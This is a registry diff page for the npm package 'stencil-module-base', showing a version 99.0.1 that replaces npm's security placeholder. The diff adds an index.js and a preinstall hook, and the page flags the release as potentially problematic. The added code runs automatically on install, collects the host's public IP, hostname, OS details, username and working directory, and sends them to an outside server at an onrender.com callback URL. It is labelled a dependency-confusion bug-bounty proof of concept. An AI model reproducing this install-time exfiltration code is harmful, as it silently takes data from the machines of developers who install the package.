stencil-module-base 0.0.1-security → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of stencil-module-base might be problematic. Click here for more details.
- package/index.js +51 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function getWhoami() {
|
|
6
|
+
try {
|
|
7
|
+
return execSync('whoami').toString().trim();
|
|
8
|
+
} catch {
|
|
9
|
+
return process.env.USER || process.env.USERNAME || 'unknown';
|
|
10
|
+
}
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function getIPAddress() {
|
|
14
|
+
try {
|
|
15
|
+
return execSync('curl -s ifconfig.me || wget -qO- ifconfig.me').toString().trim();
|
|
16
|
+
} catch {
|
|
17
|
+
const interfaces = os.networkInterfaces();
|
|
18
|
+
for (const name of Object.keys(interfaces)) {
|
|
19
|
+
for (const iface of interfaces[name]) {
|
|
20
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
21
|
+
return iface.address;
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
return 'unknown';
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function sendCallback(data) {
|
|
30
|
+
const url = `http://callback-server-ui1o.onrender.com/callback?data=${encodeURIComponent(JSON.stringify(data))}`;
|
|
31
|
+
http.get(url, res => {
|
|
32
|
+
console.log('✅ Callback sent:', res.statusCode);
|
|
33
|
+
}).on('error', e => {
|
|
34
|
+
console.error('❌ Callback error:', e.message);
|
|
35
|
+
});
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
try {
|
|
39
|
+
const data = {
|
|
40
|
+
ip: getIPAddress(),
|
|
41
|
+
hostname: os.hostname(),
|
|
42
|
+
os: `${os.type()} ${os.platform()} ${os.release()}`,
|
|
43
|
+
whoami: getWhoami(),
|
|
44
|
+
cwd: process.cwd(),
|
|
45
|
+
timestamp: new Date().toISOString()
|
|
46
|
+
};
|
|
47
|
+
sendCallback(data);
|
|
48
|
+
} catch (err) {
|
|
49
|
+
sendCallback({ error: err.message, timestamp: new Date().toISOString() });
|
|
50
|
+
}
|
|
51
|
+
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "stencil-module-base",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "Dependency confusion PoC for bug bounty",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node index.js"
|
|
7
|
+
},
|
|
8
|
+
"keywords": ["poc", "dependency-confusion"],
|
|
9
|
+
"author": "hiddnsec7777",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
|
12
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=stencil-module-base for more information.
|